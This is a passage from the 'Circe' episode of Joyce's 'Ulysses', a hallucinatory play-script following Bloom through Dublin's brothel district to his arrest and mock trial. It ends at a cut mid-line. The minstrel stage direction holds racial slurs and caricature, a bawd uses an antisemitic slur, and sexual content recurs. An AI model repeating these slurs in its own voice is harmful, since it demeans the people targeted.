+BLOOM: Are you sure about that VOGLIO? I mean the pronunciati ... + +(HE FOLLOWS, FOLLOWED BY THE SNIFFING TERRIER. THE ELDERLY BAWD SEIZES +HIS SLEEVE, THE BRISTLES OF HER CHINMOLE GLITTERING.) + +THE BAWD: Ten shillings a maidenhead. Fresh thing was never touched. +Fifteen. There's no-one in it only her old father that's dead drunk. + +(SHE POINTS. IN THE GAP OF HER DARK DEN FURTIVE, RAINBEDRAGGLED, BRIDIE +KELLY STANDS.) + +BRIDIE: Hatch street. Any good in your mind? + +(WITH A SQUEAK SHE FLAPS HER BAT SHAWL AND RUNS. A BURLY ROUGH PURSUES +WITH BOOTED STRIDES. HE STUMBLES ON THE STEPS, RECOVERS, PLUNGES INTO +GLOOM. WEAK SQUEAKS OF LAUGHTER ARE HEARD, WEAKER.) + +THE BAWD: (HER WOLFEYES SHINING) He's getting his pleasure. You won't get +a virgin in the flash houses. Ten shillings. Don't be all night before +the polis in plain clothes sees us. Sixtyseven is a bitch. + +(LEERING, GERTY MACDOWELL LIMPS FORWARD. SHE DRAWS FROM BEHIND, OGLING, +AND SHOWS COYLY HER BLOODIED CLOUT.) + +GERTY: With all my worldly goods I thee and thou. (SHE MURMURS) You did +that. I hate you. + +BLOOM: I? When? You're dreaming. I never saw you. + +THE BAWD: Leave the gentleman alone, you cheat. Writing the gentleman +false letters. Streetwalking and soliciting. Better for your mother take +the strap to you at the bedpost, hussy like you. + +GERTY: (TO BLOOM) When you saw all the secrets of my bottom drawer. (SHE +PAWS HIS SLEEVE, SLOBBERING) Dirty married man! I love you for doing that +to me. + +(SHE GLIDES AWAY CROOKEDLY. MRS BREEN IN MAN'S FRIEZE OVERCOAT WITH LOOSE +BELLOWS POCKETS, STANDS IN THE CAUSEWAY, HER ROGUISH EYES WIDEOPEN, +SMILING IN ALL HER HERBIVOROUS BUCKTEETH.) + +MRS BREEN: Mr ... + +BLOOM: (COUGHS GRAVELY) Madam, when we last had this pleasure by letter +dated the sixteenth instant ... + +MRS BREEN: Mr Bloom! You down here in the haunts of sin! I caught you +nicely! Scamp! + +BLOOM: (HURRIEDLY) Not so loud my name. Whatever do you think of me? +Don't give me away. Walls have ears. How do you do? It's ages since I. +You're looking splendid. Absolutely it. Seasonable weather we are having +this time of year. Black refracts heat. Short cut home here. Interesting +quarter. Rescue of fallen women. Magdalen asylum. I am the secretary ... + +MRS BREEN: (HOLDS UP A FINGER) Now, don't tell a big fib! I know somebody +won't like that. O just wait till I see Molly! (SLILY) Account for +yourself this very sminute or woe betide you! + +BLOOM: (LOOKS BEHIND) She often said she'd like to visit. Slumming. The +exotic, you see. Negro servants in livery too if she had money. Othello +black brute. Eugene Stratton. Even the bones and cornerman at the +Livermore christies. Bohee brothers. Sweep for that matter. + +(TOM AND SAM BOHEE, COLOURED COONS IN WHITE DUCK SUITS, SCARLET SOCKS, +UPSTARCHED SAMBO CHOKERS AND LARGE SCARLET ASTERS IN THEIR BUTTONHOLES, +LEAP OUT. EACH HAS HIS BANJO SLUNG. THEIR PALER SMALLER NEGROID HANDS +JINGLE THE TWINGTWANG WIRES. FLASHING WHITE KAFFIR EYES AND TUSKS THEY +RATTLE THROUGH A BREAKDOWN IN CLUMSY CLOGS, TWINGING, SINGING, BACK TO +BACK, TOE HEEL, HEEL TOE, WITH SMACKFATCLACKING NIGGER LIPS.) + +TOM AND SAM: + + + There's someone in the house with Dina + There's someone in the house, I know, + There's someone in the house with Dina + Playing on the old banjo. + + +(THEY WHISK BLACK MASKS FROM RAW BABBY FACES: THEN, CHUCKLING, CHORTLING, +TRUMMING, TWANGING, THEY DIDDLE DIDDLE CAKEWALK DANCE AWAY.) + +BLOOM: (WITH A SOUR TENDERISH SMILE) A little frivol, shall we, if you +are so inclined? Would you like me perhaps to embrace you just for a +fraction of a second? + +MRS BREEN: (SCREAMS GAILY) O, you ruck! You ought to see yourself! + +BLOOM: For old sake' sake. I only meant a square party, a mixed marriage +mingling of our different little conjugials. You know I had a soft corner +for you. (GLOOMILY) 'Twas I sent you that valentine of the dear gazelle. + +MRS BREEN: Glory Alice, you do look a holy show! Killing simply. (SHE +PUTS OUT HER HAND INQUISITIVELY) What are you hiding behind your back? +Tell us, there's a dear. + +BLOOM: (SEIZES HER WRIST WITH HIS FREE HAND) Josie Powell that was, +prettiest deb in Dublin. How time flies by! Do you remember, harking back +in a retrospective arrangement, Old Christmas night, Georgina Simpson's +housewarming while they were playing the Irving Bishop game, finding the +pin blindfold and thoughtreading? Subject, what is in this snuffbox? + +MRS BREEN: You were the lion of the night with your seriocomic recitation +and you looked the part. You were always a favourite with the ladies. + +BLOOM: (SQUIRE OF DAMES, IN DINNER JACKET WITH WATEREDSILK FACINGS, BLUE +MASONIC BADGE IN HIS BUTTONHOLE, BLACK BOW AND MOTHER-OF-PEARL STUDS, A +PRISMATIC CHAMPAGNE GLASS TILTED IN HIS HAND) Ladies and gentlemen, I +give you Ireland, home and beauty. + +MRS BREEN: The dear dead days beyond recall. Love's old sweet song. + +BLOOM: (MEANINGFULLY DROPPING HIS VOICE) I confess I'm teapot with +curiosity to find out whether some person's something is a little teapot +at present. + +MRS BREEN: (GUSHINGLY) Tremendously teapot! London's teapot and I'm +simply teapot all over me! (SHE RUBS SIDES WITH HIM) After the parlour +mystery games and the crackers from the tree we sat on the staircase +ottoman. Under the mistletoe. Two is company. + +BLOOM: (WEARING A PURPLE NAPOLEON HAT WITH AN AMBER HALFMOON, HIS FINGERS +AND THUMB PASSING SLOWLY DOWN TO HER SOFT MOIST MEATY PALM WHICH SHE +SURRENDERS GENTLY) The witching hour of night. I took the splinter out of +this hand, carefully, slowly. (TENDERLY, AS HE SLIPS ON HER FINGER A RUBY +RING) LA CI DAREM LA MANO. + +MRS BREEN: (IN A ONEPIECE EVENING FROCK EXECUTED IN MOONLIGHT BLUE, A +TINSEL SYLPH'S DIADEM ON HER BROW WITH HER DANCECARD FALLEN BESIDE HER +MOONBLUE SATIN SLIPPER, CURVES HER PALM SOFTLY, BREATHING QUICKLY) VOGLIO +E NON. You're hot! You're scalding! The left hand nearest the heart. + +BLOOM: When you made your present choice they said it was beauty and the +beast. I can never forgive you for that. (HIS CLENCHED FIST AT HIS BROW) +Think what it means. All you meant to me then. (HOARSELY) Woman, it's +breaking me! + +(DENIS BREEN, WHITETALLHATTED, WITH WISDOM HELY'S SANDWICH- BOARDS, +SHUFFLES PAST THEM IN CARPET SLIPPERS, HIS DULL BEARD THRUST OUT, +MUTTERING TO RIGHT AND LEFT. LITTLE ALF BERGAN, CLOAKED IN THE PALL OF +THE ACE OF SPADES, DOGS HIM TO LEFT AND RIGHT, DOUBLED IN LAUGHTER.) + +ALF BERGAN: (POINTS JEERING AT THE SANDWICHBOARDS) U. p: Up. + +MRS BREEN: (TO BLOOM) High jinks below stairs. (SHE GIVES HIM THE GLAD +EYE) Why didn't you kiss the spot to make it well? You wanted to. + +BLOOM: (SHOCKED) Molly's best friend! Could you? + +MRS BREEN: (HER PULPY TONGUE BETWEEN HER LIPS, OFFERS A PIGEON KISS) +Hnhn. The answer is a lemon. Have you a little present for me there? + +BLOOM: (OFFHANDEDLY) Kosher. A snack for supper. The home without potted +meat is incomplete. I was at LEAH. Mrs Bandmann Palmer. Trenchant +exponent of Shakespeare. Unfortunately threw away the programme. Rattling +good place round there for pigs' feet. Feel. + +(RICHIE GOULDING, THREE LADIES' HATS PINNED ON HIS HEAD, APPEARS WEIGHTED +TO ONE SIDE BY THE BLACK LEGAL BAG OF COLLIS AND WARD ON WHICH A SKULL +AND CROSSBONES ARE PAINTED IN WHITE LIMEWASH. HE OPENS IT AND SHOWS IT +FULL OF POLONIES, KIPPERED HERRINGS, FINDON HADDIES AND TIGHTPACKED +PILLS.) + +RICHIE: Best value in Dub. + +(BALD PAT, BOTHERED BEETLE, STANDS ON THE CURBSTONE, FOLDING HIS NAPKIN, +WAITING TO WAIT.) + +PAT: (ADVANCES WITH A TILTED DISH OF SPILLSPILLING GRAVY) Steak and +kidney. Bottle of lager. Hee hee hee. Wait till I wait. + +RICHIE: Goodgod. Inev erate inall ... + +(WITH HANGING HEAD HE MARCHES DOGGEDLY FORWARD. THE NAVVY, LURCHING BY, +GORES HIM WITH HIS FLAMING PRONGHORN.) + +RICHIE: (WITH A CRY OF PAIN, HIS HAND TO HIS BACK) Ah! Bright's! Lights! + +BLOOM: (POINTS TO THE NAVVY) A spy. Don't attract attention. I hate +stupid crowds. I am not on pleasure bent. I am in a grave predicament. + +MRS BREEN: Humbugging and deluthering as per usual with your cock and +bull story. + +BLOOM: I want to tell you a little secret about how I came to be here. +But you must never tell. Not even Molly. I have a most particular reason. + +MRS BREEN: (ALL AGOG) O, not for worlds. + +BLOOM: Let's walk on. Shall us? + +MRS BREEN: Let's. + +(THE BAWD MAKES AN UNHEEDED SIGN. BLOOM WALKS ON WITH MRS BREEN. THE +TERRIER FOLLOWS, WHINING PITEOUSLY, WAGGING HIS TAIL.) + +THE BAWD: Jewman's melt! + +BLOOM: (IN AN OATMEAL SPORTING SUIT, A SPRIG OF WOODBINE IN THE LAPEL, +TONY BUFF SHIRT, SHEPHERD'S PLAID SAINT ANDREW'S CROSS SCARFTIE, WHITE +SPATS, FAWN DUSTCOAT ON HIS ARM, TAWNY RED BROGUES, FIELDGLASSES IN +BANDOLIER AND A GREY BILLYCOCK HAT) Do you remember a long long time, +years and years ago, just after Milly, Marionette we called her, was +weaned when we all went together to Fairyhouse races, was it? + +MRS BREEN: (IN SMART SAXE TAILORMADE, WHITE VELOURS HAT AND SPIDER VEIL) +Leopardstown. + +BLOOM: I mean, Leopardstown. And Molly won seven shillings on a three +year old named Nevertell and coming home along by Foxrock in that old +fiveseater shanderadan of a waggonette you were in your heyday then and +you had on that new hat of white velours with a surround of molefur that +Mrs Hayes advised you to buy because it was marked down to nineteen and +eleven, a bit of wire and an old rag of velveteen, and I'll lay you what +you like she did it on purpose ... + +MRS BREEN: She did, of course, the cat! Don't tell me! Nice adviser! + +BLOOM: Because it didn't suit you one quarter as well as the other ducky +little tammy toque with the bird of paradise wing in it that I admired on +you and you honestly looked just too fetching in it though it was a pity +to kill it, you cruel naughty creature, little mite of a thing with a +heart the size of a fullstop. + +MRS BREEN: (SQUEEZES HIS ARM, SIMPERS) Naughty cruel I was! + +BLOOM: (LOW, SECRETLY, EVER MORE RAPIDLY) And Molly was eating a sandwich +of spiced beef out of Mrs Joe Gallaher's lunch basket. Frankly, though +she had her advisers or admirers, I never cared much for her style. She +was ... + +MRS BREEN: Too ... + +BLOOM: Yes. And Molly was laughing because Rogers and Maggot O'Reilly +were mimicking a cock as we passed a farmhouse and Marcus Tertius Moses, +the tea merchant, drove past us in a gig with his daughter, Dancer Moses +was her name, and the poodle in her lap bridled up and you asked me if I +ever heard or read or knew or came across ... + +MRS BREEN: (EAGERLY) Yes, yes, yes, yes, yes, yes, yes. + +(SHE FADES FROM HIS SIDE. FOLLOWED BY THE WHINING DOG HE WALKS ON TOWARDS +HELLSGATES. IN AN ARCHWAY A STANDING WOMAN, BENT FORWARD, HER FEET APART, +PISSES COWILY. OUTSIDE A SHUTTERED PUB A BUNCH OF LOITERERS LISTEN TO A +TALE WHICH THEIR BROKENSNOUTED GAFFER RASPS OUT WITH RAUCOUS HUMOUR. AN +ARMLESS PAIR OF THEM FLOP WRESTLING, GROWLING, IN MAIMED SODDEN +PLAYFIGHT.) + +THE GAFFER: (CROUCHES, HIS VOICE TWISTED IN HIS SNOUT) And when Cairns +came down from the scaffolding in Beaver street what was he after doing +it into only into the bucket of porter that was there waiting on the +shavings for Derwan's plasterers. + +THE LOITERERS: (GUFFAW WITH CLEFT PALATES) O jays! + +(THEIR PAINTSPECKLED HATS WAG. SPATTERED WITH SIZE AND LIME OF THEIR +LODGES THEY FRISK LIMBLESSLY ABOUT HIM.) + +BLOOM: Coincidence too. They think it funny. Anything but that. Broad +daylight. Trying to walk. Lucky no woman. + +THE LOITERERS: Jays, that's a good one. Glauber salts. O jays, into the +men's porter. + +(BLOOM PASSES. CHEAP WHORES, SINGLY, COUPLED, SHAWLED, DISHEVELLED, CALL +FROM LANES, DOORS, CORNERS.) + +THE WHORES: + + Are you going far, queer fellow? + How's your middle leg? + Got a match on you? + Eh, come here till I stiffen it for you. + +(HE PLODGES THROUGH THEIR SUMP TOWARDS THE LIGHTED STREET BEYOND. FROM A +BULGE OF WINDOW CURTAINS A GRAMOPHONE REARS A BATTERED BRAZEN TRUNK. IN +THE SHADOW A SHEBEENKEEPER HAGGLES WITH THE NAVVY AND THE TWO REDCOATS.) + +THE NAVVY: (BELCHING) Where's the bloody house? + +THE SHEBEENKEEPER: Purdon street. Shilling a bottle of stout. Respectable +woman. + +THE NAVVY: (GRIPPING THE TWO REDCOATS, STAGGERS FORWARD WITH THEM) Come +on, you British army! + +PRIVATE CARR: (BEHIND HIS BACK) He aint half balmy. + +PRIVATE COMPTON: (LAUGHS) What ho! + +PRIVATE CARR: (TO THE NAVVY) Portobello barracks canteen. You ask for +Carr. Just Carr. + +THE NAVVY: (SHOUTS) + + We are the boys. Of Wexford. + +PRIVATE COMPTON: Say! What price the sergeantmajor? + +PRIVATE CARR: Bennett? He's my pal. I love old Bennett. + +THE NAVVY: (SHOUTS) + + The galling chain. + And free our native land. + +(HE STAGGERS FORWARD, DRAGGING THEM WITH HIM. BLOOM STOPS, AT FAULT. THE +DOG APPROACHES, HIS TONGUE OUTLOLLING, PANTING) + +BLOOM: Wildgoose chase this. Disorderly houses. Lord knows where they are +gone. Drunks cover distance double quick. Nice mixup. Scene at Westland +row. Then jump in first class with third ticket. Then too far. Train with +engine behind. Might have taken me to Malahide or a siding for the night +or collision. Second drink does it. Once is a dose. What am I following +him for? Still, he's the best of that lot. If I hadn't heard about Mrs +Beaufoy Purefoy I wouldn't have gone and wouldn't have met. Kismet. He'll +lose that cash. Relieving office here. Good biz for cheapjacks, organs. +What do ye lack? Soon got, soon gone. Might have lost my life too with +that mangongwheeltracktrolleyglarejuggernaut only for presence of mind. +Can't always save you, though. If I had passed Truelock's window that day +two minutes later would have been shot. Absence of body. Still if bullet +only went through my coat get damages for shock, five hundred pounds. +What was he? Kildare street club toff. God help his gamekeeper. + +(HE GAZES AHEAD, READING ON THE WALL A SCRAWLED CHALK LEGEND Wet Dream +AND A PHALLIC DESIGN.) Odd! Molly drawing on the frosted carriagepane at +Kingstown. What's that like? (GAUDY DOLLWOMEN LOLL IN THE LIGHTED +DOORWAYS, IN WINDOW EMBRASURES, SMOKING BIRDSEYE CIGARETTES. THE ODOUR OF +THE SICKSWEET WEED FLOATS TOWARDS HIM IN SLOW ROUND OVALLING WREATHS.) + +THE WREATHS: Sweet are the sweets. Sweets of sin. + +BLOOM: My spine's a bit limp. Go or turn? And this food? Eat it and get +all pigsticky. Absurd I am. Waste of money. One and eightpence too much. +(THE RETRIEVER DRIVES A COLD SNIVELLING MUZZLE AGAINST HIS HAND, WAGGING +HIS TAIL.) Strange how they take to me. Even that brute today. Better +speak to him first. Like women they like RENCONTRES. Stinks like a +polecat. CHACUN SON GOUT. He might be mad. Dogdays. Uncertain in his +movements. Good fellow! Fido! Good fellow! Garryowen! (THE WOLFDOG +SPRAWLS ON HIS BACK, WRIGGLING OBSCENELY WITH BEGGING PAWS, HIS LONG +BLACK TONGUE LOLLING OUT.) Influence of his surroundings. Give and have +done with it. Provided nobody. (CALLING ENCOURAGING WORDS HE SHAMBLES +BACK WITH A FURTIVE POACHER'S TREAD, DOGGED BY THE SETTER INTO A DARK +STALESTUNK CORNER. HE UNROLLS ONE PARCEL AND GOES TO DUMP THE CRUBEEN +SOFTLY BUT HOLDS BACK AND FEELS THE TROTTER.) Sizeable for threepence. +But then I have it in my left hand. Calls for more effort. Why? Smaller +from want of use. O, let it slide. Two and six. + +(WITH REGRET HE LETS THE UNROLLED CRUBEEN AND TROTTER SLIDE. THE MASTIFF +MAULS THE BUNDLE CLUMSILY AND GLUTS HIMSELF WITH GROWLING GREED, +CRUNCHING THE BONES. TWO RAINCAPED WATCH APPROACH, SILENT, VIGILANT. THEY +MURMUR TOGETHER.) + +THE WATCH: Bloom. Of Bloom. For Bloom. Bloom. + +(EACH LAYS HAND ON BLOOM'S SHOULDER.) + +FIRST WATCH: Caught in the act. Commit no nuisance. + +BLOOM: (STAMMERS) I am doing good to others. + +(A COVEY OF GULLS, STORM PETRELS, RISES HUNGRILY FROM LIFFEY SLIME WITH +BANBURY CAKES IN THEIR BEAKS.) + +THE GULLS: Kaw kave kankury kake. + +BLOOM: The friend of man. Trained by kindness. + +(HE POINTS. BOB DORAN, TOPPLING FROM A HIGH BARSTOOL, SWAYS OVER THE +MUNCHING SPANIEL.) + +BOB DORAN: Towser. Give us the paw. Give the paw. + +(THE BULLDOG GROWLS, HIS SCRUFF STANDING, A GOBBET OF PIG'S KNUCKLE +BETWEEN HIS MOLARS THROUGH WHICH RABID SCUMSPITTLE DRIBBLES. BOB DORAN +FILLS SILENTLY INTO AN AREA.) + +SECOND WATCH: Prevention of cruelty to animals. + +BLOOM: (ENTHUSIASTICALLY) A noble work! I scolded that tramdriver on +Harold's cross bridge for illusing the poor horse with his harness scab. +Bad French I got for my pains. Of course it was frosty and the last tram. +All tales of circus life are highly demoralising. + +(SIGNOR MAFFEI, PASSIONPALE, IN LIONTAMER'S COSTUME WITH DIAMOND STUDS IN +HIS SHIRTFRONT, STEPS FORWARD, HOLDING A CIRCUS PAPERHOOP, A CURLING +CARRIAGEWHIP AND A REVOLVER WITH WHICH HE COVERS THE GORGING BOARHOUND.) + +SIGNOR MAFFEI: (WITH A SINISTER SMILE) Ladies and gentlemen, my educated +greyhound. It was I broke in the bucking broncho Ajax with my patent +spiked saddle for carnivores. Lash under the belly with a knotted thong. +Block tackle and a strangling pulley will bring your lion to heel, no +matter how fractious, even LEO FEROX there, the Libyan maneater. A redhot +crowbar and some liniment rubbing on the burning part produced Fritz of +Amsterdam, the thinking hyena. (HE GLARES) I possess the Indian sign. The +glint of my eye does it with these breastsparklers. (WITH A BEWITCHING +SMILE) I now introduce Mademoiselle Ruby, the pride of the ring. + +FIRST WATCH: Come. Name and address. + +BLOOM: I have forgotten for the moment. Ah, yes! (HE TAKES OFF HIS HIGH +GRADE HAT, SALUTING) Dr Bloom, Leopold, dental surgeon. You have heard of +von Blum Pasha. Umpteen millions. DONNERWETTER! Owns half Austria. Egypt. +Cousin. + +FIRST WATCH: Proof. + +(A CARD FALLS FROM INSIDE THE LEATHER HEADBAND OF BLOOM'S HAT.) + +BLOOM: (IN RED FEZ, CADI'S DRESS COAT WITH BROAD GREEN SASH, WEARING A +FALSE BADGE OF THE LEGION OF HONOUR, PICKS UP THE CARD HASTILY AND OFFERS +IT) Allow me. My club is the Junior Army and Navy. Solicitors: Messrs +John Henry Menton, 27 Bachelor's Walk. + +FIRST WATCH: (READS) Henry Flower. No fixed abode. Unlawfully watching +and besetting. + +SECOND WATCH: An alibi. You are cautioned. + +BLOOM: (PRODUCES FROM HIS HEARTPOCKET A CRUMPLED YELLOW FLOWER) This is +the flower in question. It was given me by a man I don't know his name. +(PLAUSIBLY) You know that old joke, rose of Castile. Bloom. The change of +name. Virag. (HE MURMURS PRIVATELY AND CONFIDENTIALLY) We are engaged you +see, sergeant. Lady in the case. Love entanglement. (HE SHOULDERS THE +SECOND WATCH GENTLY) Dash it all. It's a way we gallants have in the +navy. Uniform that does it. (HE TURNS GRAVELY TO THE FIRST WATCH) Still, +of course, you do get your Waterloo sometimes. Drop in some evening and +have a glass of old Burgundy. (TO THE SECOND WATCH GAILY) I'll introduce +you, inspector. She's game. Do it in the shake of a lamb's tail. + +(A DARK MERCURIALISED FACE APPEARS, LEADING A VEILED FIGURE.) + +THE DARK MERCURY: The Castle is looking for him. He was drummed out of +the army. + +MARTHA: (THICKVEILED, A CRIMSON HALTER ROUND HER NECK, A COPY OF THE +Irish Times IN HER HAND, IN TONE OF REPROACH, POINTING) Henry! Leopold! +Lionel, thou lost one! Clear my name. + +FIRST WATCH: (STERNLY) Come to the station. + +BLOOM: (SCARED, HATS HIMSELF, STEPS BACK, THEN, PLUCKING AT HIS HEART AND +LIFTING HIS RIGHT FOREARM ON THE SQUARE, HE GIVES THE SIGN AND DUEGUARD +OF FELLOWCRAFT) No, no, worshipful master, light of love. Mistaken +identity. The Lyons mail. Lesurques and Dubosc. You remember the Childs +fratricide case. We medical men. By striking him dead with a hatchet. I +am wrongfully accused. Better one guilty escape than ninetynine +wrongfully condemned. + +MARTHA: (SOBBING BEHIND HER VEIL) Breach of promise. My real name is +Peggy Griffin. He wrote to me that he was miserable. I'll tell my +brother, the Bective rugger fullback, on you, heartless flirt. + +BLOOM: (BEHIND HIS HAND) She's drunk. The woman is inebriated. (HE +MURMURS VAGUELY THE PASS OF EPHRAIM) Shitbroleeth. + +SECOND WATCH: (TEARS IN HIS EYES, TO BLOOM) You ought to be thoroughly +well ashamed of yourself. + +BLOOM: Gentlemen of the jury, let me explain. A pure mare's nest. I am a +man misunderstood. I am being made a scapegoat of. I am a respectable +married man, without a stain on my character. I live in Eccles street. My +wife, I am the daughter of a most distinguished commander, a gallant +upstanding gentleman, what do you call him, Majorgeneral Brian Tweedy, +one of Britain's fighting men who helped to win our battles. Got his +majority for the heroic defence of Rorke's Drift. + +FIRST WATCH: Regiment. + +BLOOM: (TURNS TO THE GALLERY) The royal Dublins, boys, the salt of the +earth, known the world over. I think I see some old comrades in arms up +there among you. The R. D. F., with our own Metropolitan police, +guardians of our homes, the pluckiest lads and the finest body of men, as +physique, in the service of our sovereign. + +A VOICE: Turncoat! Up the Boers! Who booed Joe Chamberlain? + +BLOOM: (HIS HAND ON THE SHOULDER OF THE FIRST WATCH) My old dad too was a +J. P. I'm as staunch a Britisher as you are, sir. I fought with the +colours for king and country in the absentminded war under general Gough +in the park and was disabled at Spion Kop and Bloemfontein, was mentioned +in dispatches. I did all a white man could. (WITH QUIET FEELING) Jim +Bludso. Hold her nozzle again the bank. + +FIRST WATCH: Profession or trade. + +BLOOM: Well, I follow a literary occupation, author-journalist. In fact +we are just bringing out a collection of prize stories of which I am the +inventor, something that is an entirely new departure. I am connected +with the British and Irish press. If you ring up ... + +(MYLES CRAWFORD STRIDES OUT JERKILY, A QUILL BETWEEN HIS TEETH. HIS +SCARLET BEAK BLAZES WITHIN THE AUREOLE OF HIS STRAW HAT. HE DANGLES A +HANK OF SPANISH ONIONS IN ONE HAND AND HOLDS WITH THE OTHER HAND A +TELEPHONE RECEIVER NOZZLE TO HIS EAR.) + +MYLES CRAWFORD: (HIS COCK'S WATTLES WAGGING) Hello, seventyseven +eightfour. Hello. FREEMAN'S URINAL and WEEKLY ARSEWIPE here. Paralyse +Europe. You which? Bluebags? Who writes? Is it Bloom? + +(MR PHILIP BEAUFOY, PALEFACED, STANDS IN THE WITNESSBOX, IN ACCURATE +MORNING DRESS, OUTBREAST POCKET WITH PEAK OF HANDKERCHIEF SHOWING, +CREASED LAVENDER TROUSERS AND PATENT BOOTS. HE CARRIES A LARGE PORTFOLIO +LABELLED Matcham's Masterstrokes.) + +BEAUFOY: (DRAWLS) No, you aren't. Not by a long shot if I know it. I +don't see it that's all. No born gentleman, no-one with the most +rudimentary promptings of a gentleman would stoop to such particularly +loathsome conduct. One of those, my lord. A plagiarist. A soapy sneak +masquerading as a litterateur. It's perfectly obvious that with the most +inherent baseness he has cribbed some of my bestselling copy, really +gorgeous stuff, a perfect gem, the love passages in which are beneath +suspicion. The Beaufoy books of love and great possessions, with which +your lordship is doubtless familiar, are a household word throughout the +kingdom. + +BLOOM: (MURMURS WITH HANGDOG MEEKNESS GLUM) That bit about the laughing +witch hand in hand I take exception to, if I may ... + +BEAUFOY: (HIS LIP UPCURLED, SMILES SUPERCILIOUSLY ON THE COURT) You funny +ass, you! You're too beastly awfully weird for words! I don't think you +need over excessively disincommodate yourself in that regard. My literary +agent Mr J. B. Pinker is in attendance. I presume, my lord, we shall +receive the usual witnesses' fees, shan't we? We are considerably out of +pocket over this bally pressman johnny, this jackdaw of Rheims, who has +not even been to a university. + +BLOOM: (INDISTINCTLY) University of life. Bad art. + +BEAUFOY: (SHOUTS) It's a damnably foul lie, showing the moral rottenness +of the man! (HE EXTENDS HIS PORTFOLIO) We have here damning evidence, the +CORPUS DELICTI, my lord, a specimen of my maturer work disfigured by the +hallmark of the beast. + +A VOICE FROM THE GALLERY: + + Moses, Moses, king of the jews, + Wiped his arse in the Daily News. + +BLOOM: (BRAVELY) Overdrawn. + +BEAUFOY: You low cad! You ought to be ducked in the horsepond, you +rotter! (TO THE COURT) Why, look at the man's private life! Leading a +quadruple existence! Street angel and house devil. Not fit to be +mentioned in mixed society! The archconspirator of the age! + +BLOOM: (TO THE COURT) And he, a bachelor, how ... + +FIRST WATCH: The King versus Bloom. Call the woman Driscoll. + +THE CRIER: Mary Driscoll, scullerymaid! + +(MARY DRISCOLL, A SLIPSHOD SERVANT GIRL, APPROACHES. SHE HAS A BUCKET ON +THE CROOK OF HER ARM AND A SCOURINGBRUSH IN HER HAND.) + +SECOND WATCH: Another! Are you of the unfortunate class? + +MARY DRISCOLL: (INDIGNANTLY) I'm not a bad one. I bear a respectable +character and was four months in my last place. I was in a situation, six +pounds a year and my chances with Fridays out and I had to leave owing to +his carryings on. + +FIRST WATCH: What do you tax him with? + +MARY DRISCOLL: He made a certain suggestion but I thought more of myself +as poor as I am. + +BLOOM: (IN HOUSEJACKET OF RIPPLECLOTH, FLANNEL TROUSERS, HEELLESS +SLIPPERS, UNSHAVEN, HIS HAIR RUMPLED: SOFTLY) I treated you white. I gave +you mementos, smart emerald garters far above your station. Incautiously +I took your part when you were accused of pilfering. There's a medium in +all things. Play cricket. + +MARY DRISCOLL: (EXCITEDLY) As God is looking down on me this night if +ever I laid a hand to them oysters! + +FIRST WATCH: The offence complained of? Did something happen? + +MARY DRISCOLL: He surprised me in the rere of the premises, Your honour, +when the missus was out shopping one morning with a request for a safety +pin. He held me and I was discoloured in four places as a result. And he +interfered twict with my clothing. + +BLOOM: She counterassaulted. + +MARY DRISCOLL: (SCORNFULLY) I had more respect for the scouringbrush, so +I had. I remonstrated with him, Your lord, and he remarked: keep it +quiet. + +(GENERAL LAUGHTER.) + +GEORGE FOTTRELL: (CLERK OF THE CROWN AND PEACE, RESONANTLY) Order in +court! The accused will now make a bogus statement. + +(BLOOM, PLEADING NOT GUILTY AND HOLDING A FULLBLOWN WATERLILY, BEGINS A +LONG UNINTELLIGIBLE SPEECH. THEY WOULD HEAR WHAT COUNSEL HAD TO SAY IN +HIS STIRRING ADDRESS TO THE GRAND JURY. HE WAS DOWN AND OUT BUT, THOUGH +BRANDED AS A BLACK SHEEP, IF HE MIGHT SAY SO, HE MEANT TO REFORM, TO +RETRIEVE THE MEMORY OF THE PAST IN A PURELY SISTERLY WAY AND RETURN TO +NATURE AS A PURELY DOMESTIC ANIMAL. A SEVENMONTHS' CHILD, HE HAD BEEN +CAREFULLY BROUGHT UP AND NURTURED BY AN AGED BEDRIDDEN PARENT. THERE +MIGHT HAVE BEEN LAPSES OF AN ERRING FATHER BUT HE WANTED TO TURN OVER A +NEW LEAF AND NOW, WHEN AT LONG LAST IN SIGHT OF THE WHIPPING POST, TO +LEAD A HOMELY LIFE IN THE EVENING OF HIS DAYS, PERMEATED BY THE +AFFECTIONATE SURROUNDINGS OF THE HEAVING BOSOM OF THE FAMILY. AN +ACCLIMATISED BRITISHER, HE HAD SEEN THAT SUMMER EVE FROM THE FOOTPLATE OF +AN ENGINE CAB OF THE LOOP LINE RAILWAY COMPANY WHILE THE RAIN REFRAINED +FROM FALLING GLIMPSES, AS IT WERE, THROUGH THE WINDOWS OF LOVEFUL +HOUSEHOLDS IN DUBLIN CITY AND URBAN DISTRICT OF SCENES TRULY RURAL OF +HAPPINESS OF THE BETTER LAND WITH DOCKRELL'S WALLPAPER AT ONE AND +NINEPENCE A DOZEN, INNOCENT BRITISHBORN BAIRNS LISPING PRAYERS TO THE +SACRED INFANT, YOUTHFUL SCHOLARS GRAPPLING WITH THEIR PENSUMS OR MODEL +YOUNG LADIES PLAYING ON THE PIANOFORTE OR ANON ALL WITH FERVOUR RECITING +THE FAMILY ROSARY ROUND THE CRACKLING YULELOG WHILE IN THE BOREENS AND +GREEN LANES THE COLLEENS WITH THEIR SWAINS STROLLED WHAT TIMES THE +STRAINS OF THE ORGANTONED MELODEON BRITANNIA METALBOUND WITH FOUR ACTING +STOPS AND TWELVEFOLD BELLOWS, A SACRIFICE, GREATEST BARGAIN EVER...) + +(RENEWED LAUGHTER. HE MUMBLES INCOHERENTLY. REPORTERS COMPLAIN THAT THEY +CANNOT HEAR.) + +LONGHAND AND SHORTHAND: (WITHOUT LOOKING UP FROM THEIR NOTEBOOKS) Loosen +his boots. + +PROFESSOR MACHUGH: (FROM THE PRESSTABLE, COUGHS AND CALLS) Cough it up, +man. Get it out in bits. + +(THE CROSSEXAMINATION PROCEEDS RE BLOOM AND THE BUCKET. A LARGE BUCKET. +BLOOM HIMSELF. BOWEL TROUBLE. IN BEAVER STREET GRIPE, YES. QUITE BAD. A +PLASTERER'S BUCKET. BY WALKING STIFFLEGGED. SUFFERED UNTOLD MISERY. +DEADLY AGONY. ABOUT NOON. LOVE OR BURGUNDY. YES, SOME SPINACH. CRUCIAL +MOMENT. HE DID NOT LOOK IN THE BUCKET NOBODY. RATHER A MESS. NOT +COMPLETELY. A Titbits BACK NUMBER.) + +(UPROAR AND CATCALLS. BLOOM IN A TORN FROCKCOAT STAINED WITH WHITEWASH, +DINGED SILK HAT SIDEWAYS ON HIS HEAD, A STRIP OF STICKINGPLASTER ACROSS +HIS NOSE, TALKS INAUDIBLY.) + +J. J. O'MOLLOY: (IN 